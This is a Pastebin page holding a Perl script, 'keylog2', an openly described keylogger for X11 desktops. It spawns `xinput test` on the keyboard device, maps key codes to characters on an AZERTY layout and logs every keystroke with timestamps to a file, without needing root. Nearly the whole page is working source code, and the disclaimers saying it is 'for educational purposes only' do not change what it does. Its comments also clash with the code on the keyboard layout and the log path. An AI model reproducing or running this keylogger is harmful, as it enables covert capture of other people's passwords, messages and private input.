daily pastebin goal
23%
SHARE
TWEET

Untitled

a guest Nov 17th, 2011 141 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl -w
  2.  
  3. # keylog2 - a rootless keylogger that only requires an X server and the xinput
  4. # command (provided by xorg-x11-apps on Fedora). You'll also need to install
  5. # the Perl module IO::Pty::Easy.
  6. #
  7. # Unlike my first keylogger proof-of-concept, this one doesn't require root
  8. # privileges because it just uses the X Window System. Therefore it only
  9. # catches key inputs made to graphical programs on the same X server that the
  10. # keylogger runs on.
  11. #
  12. # How it works: running `xinput list` lists all your X input devices. There's
  13. # a keyboard device named "AT (something)", mine is "AT Translated Set 2
  14. # keyboard". Get the ID from the line that says this and then run
  15. # `xinput test <id>` and it will start dumping keystroke information as the
  16. # user types keys into ANY graphical app.
  17. #
  18. # I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
  19. # so no guarantees it will work for everybody. This is just another proof of
  20. # concept anyway, and shouldn't be used for malicious purposes.
  21. #
  22. # Under the default configuration, the log file is written to /tmp/.keylog
  23. # and only logs key release events, except for modifier keys (Shift, Ctrl,
  24. # Alt, and Super (Windows key)) where it will also log the Key Down event
  25. # (so Alt-Tabbing makes more sense in the log, for example). You can
  26. # optionally configure it to log EVERY key down event if you'd like, though.
  27. #
  28. # Again, this is just a proof of concept and should be used for educational
  29. # purposes only, and not for anything malicious.
  30. #
  31. # --Kirsle
  32. # http://sh.kirsle.net/
  33.  
  34. use strict;
  35. use warnings;
  36. use IO::Pty::Easy;
  37. use IO::Handle;
  38.  
  39. ##########################
  40. # Configuration          #
  41. ##########################
  42.  
  43. my $conf = {
  44.         # Log files to write keys to
  45.         logfile => 'klog_'.time().'.txt',
  46.  
  47.         # By default only key-releases are logged. Log key-presses too?
  48.         log_keydown => 0,
  49. };
  50.  
  51. ##########################
  52. # End Configuration      #
  53. ##########################
  54.  
  55. # X11 display.
  56. $ENV{DISPLAY} ||= ":0.0";
  57.  
  58. # Make sure we have xinput.
  59. if (system("which xinput > /dev/null") != 0) {
  60.         print "You require the `xinput` command for this keylogger to work.\n";
  61.         exit(1);
  62. }
  63.  
  64. # Get the input list.
  65. my @inputs = `xinput list`;
  66.  
  67. # Find the AT keyboard.
  68. my $id;
  69. foreach my $line (@inputs) {
  70.         $line =~ s/^[\s\t]+//g;
  71.         $line =~ s/[\s\t]+$//g;
  72.         $line =~ s/[\x0D\x0A]+//g;
  73.         next unless length $line;
  74.         if ($line =~ /keyboard/i && $line =~ /. AT/) {
  75.                 ($id) = ($line =~ /id=(\d+)/)[0];
  76.         }
  77. }
  78. if (!defined $id) {
  79.         print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
  80.         exit(1);
  81. }
  82.  
  83. print "Keyboard ID: $id\n";
  84.  
  85. # Track state of modifier keys.
  86. our %mod = (
  87.         'shift' => 0,
  88.         'ctrl'  => 0,
  89.         'alt'   => 0,
  90.         'super' => 0,
  91. );
  92.  
  93. # Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
  94. my $tty = IO::Pty::Easy->new();
  95. print "Watching `xinput test $id`\n";
  96. $tty->spawn("xinput test $id");
  97.  
  98. while ($tty->is_active) {
  99.         my $data = $tty->read();
  100.         my @lines = split(/\n/, $data);
  101.         foreach my $line (@lines) {
  102.                 # Key event?
  103.                 chomp $line;
  104.                 if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
  105.                         event($1, $2);
  106.                 }
  107.         }
  108. }
  109.  
  110. # Handle key events
  111. sub event {
  112.         my ($event,$sym) = @_;
  113.  
  114.         # Only AZERTY keyboards supported.
  115.         my $key = kbd_azerty($event,$sym);
  116.  
  117.         print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
  118.  
  119.         # Log it?
  120.         if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
  121.         ($key =~ /^\{(Shift|Ctrl|Alt|Altgr|Super)\}$/)) {
  122.                 my @time = localtime(time());
  123.                 my $ts = join(" ",
  124.                         join("-",
  125.                                 sprintf("%4d", $time[5] + 1900),
  126.                                 sprintf("%2d", $time[4] + 1),
  127.                                 sprintf("%2d", $time[3]),
  128.                         ),
  129.                         join(":",
  130.                                 sprintf("%2d", $time[2]),
  131.                                 sprintf("%2d", $time[1]),
  132.                                 sprintf("%2d", $time[0]),
  133.                         ),
  134.                 );
  135.  
  136.                 open (my $log, ">>", $conf->{logfile});
  137.                 print $log "[$ts] "
  138.                         . ($event eq "release" ? "<R>" : "<P>")
  139.                         . " "
  140.                         . ($key eq " " ? "{space}" : $key)
  141.                         . "\n";
  142.                 close ($log);
  143.         }
  144. }
  145.  
  146. # AZERTY keysym finder
  147. sub kbd_azerty {
  148.         my ($event,$sym) = @_;
  149.  
  150.         # Modifier keys.
  151.         my %modkeys = (
  152.                 50  => 'shift', # L Shift
  153.                 62  => 'shift', # R Shift
  154.                 37  => 'ctrl',  # L Ctrl
  155.                 105 => 'ctrl',  # R Ctrl
  156.                 64  => 'alt',   # L Alt
  157.                 108 => 'altgr', # R Alt
  158.                 133 => 'super', # L Super
  159.         );
  160.         if (exists $modkeys{$sym}) {
  161.                 my $name = $modkeys{$sym};
  162.                 $mod{$name} = $event eq "press" ? 1 : 0;
  163.                 return "{\u$name}";
  164.         }
  165.  
  166.         # Qwerty keys.
  167.         my %keys = (
  168.                 # azerty row
  169.                 24 => [ 'a', 'A', 'æ', 'Æ' ], # normal, shift, alt, shift+alt key
  170.                 25 => [ 'z', 'Z', 'â', 'Â' ],
  171.                 26 => [ 'e', 'E', '€', '¢' ],
  172.                 27 => [ 'r', 'R', 'ê', 'Ê' ],
  173.                 28 => [ 't', 'T', 'þ', 'Þ' ],
  174.                 29 => [ 'y', 'Y', 'ÿ', 'Ÿ' ],
  175.                 30 => [ 'u', 'U', 'û', 'Û' ],
  176.                 31 => [ 'i', 'I', 'î', 'Î' ],
  177.                 32 => [ 'o', 'O', 'œ', 'Œ' ],
  178.                 33 => [ 'p', 'P', 'ô', 'Ô' ],
  179.                 34 => [ "(d) ^", "(d) ¨", "(d) ~", "(d) °" ],
  180.                 35 => [ '$', '£', 'ø', 'Ø' ],
  181.                 #51 => [ "\\", '|', '?', '?' ],
  182.  
  183.                 # qsdf row
  184.                 38 => [ 'q', 'Q', 'ä', 'Ä' ],
  185.                 39 => [ 's', 'S', 'ß', '„' ],
  186.                 40 => [ 'd', 'D', 'ë', 'Ë' ],
  187.                 41 => [ 'f', 'F', '‘', '‚' ],
  188.                 42 => [ 'g', 'G', '’', '¥' ],
  189.                 43 => [ 'h', 'H', 'ð', 'Ð' ],
  190.                 44 => [ 'j', 'J', 'ü', 'Ü' ],
  191.                 45 => [ 'k', 'K', 'ï', 'Ï' ],
  192.                 46 => [ 'l', 'L', 'ŀ', 'Ŀ' ],
  193.                 47 => [ 'm', 'M', 'ö', 'Ö' ],
  194.                 48 => [ 'ù', '%', "(d) ´", "Ù" ],
  195.                 51 => [ '*', 'µ', '(d) `', '(d) ¯' ],
  196.                 36 => "{Return}",
  197.  
  198.                 # wxcv row
  199.                 52 => [ 'w', 'W', '«', '“' ],
  200.                 53 => [ 'x', 'X', '»', '”' ],
  201.                 54 => [ 'c', 'C', '©', '®' ],
  202.                 55 => [ 'v', 'V', ' ', '←' ],
  203.                 56 => [ 'b', 'B', '↓', '↑' ],
  204.                 57 => [ 'n', 'N', '¬', '→' ],
  205.                 58 => [ ',', '?', '¿', '…' ],
  206.                 59 => [ ';', '.', '×', '⋅' ],
  207.                 60 => [ ':', '/', '÷', '∕' ],
  208.                 61 => [ '!', '§', '¡', '−' ],
  209.  
  210.                 # number row
  211.                 49 => [ '²', '³', '¹', '(d) ¸' ],
  212.                 10 => [ '&', '1', '(d) ˇ', '(d) ˛' ],
  213.                 11 => [ 'é', '2', '~', 'É' ],
  214.                 12 => [ '"', '3', '#', '(d) ˘' ],
  215.                 13 => [ "'", '4', '{', '—' ],
  216.                 14 => [ '(', '5', '[', '–' ],
  217.                 15 => [ '-', '6', '|', '‑' ],
  218.                 16 => [ 'è', '7', '`', 'È' ],
  219.                 17 => [ '_', '8', '\\', '™' ],
  220.                 18 => [ 'ç', '9', '^', 'Ç' ],
  221.                 19 => [ 'à', '0', '@', 'À' ],
  222.                 20 => [ ')', '°', ']', '≠' ],
  223.                 21 => [ '=', '+', '}', '±' ],
  224.  
  225.                 # space bar
  226.                 65 => ' ',
  227.  
  228.                 # number pad
  229.                 90 => '{Num-0}',
  230.                 87 => '{Num-1}',
  231.                 88 => '{Num-2}',
  232.                 89 => '{Num-3}',
  233.                 83 => '{Num-4}',
  234.                 84 => '{Num-5}',
  235.                 85 => '{Num-6}',
  236.                 79 => '{Num-7}',
  237.                 80 => '{Num-8}',
  238.                 81 => '{Num-9}',
  239.                 106 => '{Num-/}',
  240.                 63  => '{Num-*}',
  241.                 82  => '{Num--}',
  242.                 86  => '{Num-+}',
  243.                 91  => '{Num-.}',
  244.  
  245.                 # F keys
  246.                 67 => '{F1}',
  247.                 68 => '{F2}',
  248.                 69 => '{F3}',
  249.                 70 => '{F4}',
  250.                 71 => '{F5}',
  251.                 72 => '{F6}',
  252.                 73 => '{F7}',
  253.                 74 => '{F8}',
  254.                 75 => '{F9}',
  255.                 76 => '{F10}',
  256.                 95 => '{F11}',
  257.                 96 => '{F12}',
  258.  
  259.                 # Misc
  260.                 9  => '{Esc}',
  261.                 22 => '{Backspace}',
  262.                 77 => '{Num Lock}',
  263.                 107 => '{Print Scr}',
  264.                 118 => '{Insert}',
  265.                 119 => '{Delete}',
  266.                 110 => '{Home}',
  267.                 112 => '{Pg Up}',
  268.                 117 => '{Pg Dn}',
  269.                 115 => '{End}',
  270.                 111 => '{Up}',
  271.                 116 => '{Down}',
  272.                 113 => '{Left}',
  273.                 114 => '{Right}',
  274.                 135 => '{Menu}',
  275.                 23  => '{Tab}',
  276.                 66  => '{Caps Lock}',
  277.         );
  278.  
  279.         if (exists $keys{$sym}) {
  280.                 if (ref($keys{$sym})) {
  281.                         print "(shift key: $mod{shift})\n";
  282.                         print "(alt key: $mod{alt})\n";
  283.                         if ($mod{shift} && !$mod{altgr}) {
  284.                                 return $keys{$sym}->[1];
  285.                         }
  286.                         elsif ($mod{altgr} && !$mod{shift}) {
  287.                                 return $keys{$sym}->[2];
  288.                         }
  289.                         elsif ($mod{altgr} && $mod{shift}) {
  290.                                 return $keys{$sym}->[3];
  291.                         }
  292.                         else {
  293.                                 return $keys{$sym}->[0];
  294.                         }
  295.                 }
  296.                 return $keys{$sym};
  297.         }
  298.         else {
  299.                 return "{Unknown: $sym}";
  300.         }
  301. }
  302.  
  303.  
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top